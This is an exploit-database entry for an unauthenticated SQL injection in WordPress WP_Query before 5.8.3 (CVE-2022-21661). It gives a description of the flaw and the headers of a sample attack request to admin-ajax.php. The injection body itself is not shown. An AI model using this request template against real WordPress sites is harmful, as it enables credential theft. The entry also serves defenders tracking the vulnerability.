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WordPress Core 5.8.2 - 'WP_Query' SQL Injection



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# Exploit Title: WordPress Core 5.8.2 - 'WP_Query' SQL Injection
# Date: 11/01/2022
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://wordpress.org
# Software Link: https://wordpress.org/download/releases
# Version: < 5.8.3
# Tested on: Windows 10
# CVE : CVE-2022-21661


#This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,
#Authentication is not required to exploit this vulnerability, The specific flaw exists within the WP_Query class,
#The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries,
#An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.

# [ References ] : 


# [ Sample Request ] :

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Upgrade-Insecure_Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Connection: close 
Content-Type: application/x-www-form-urlencoded

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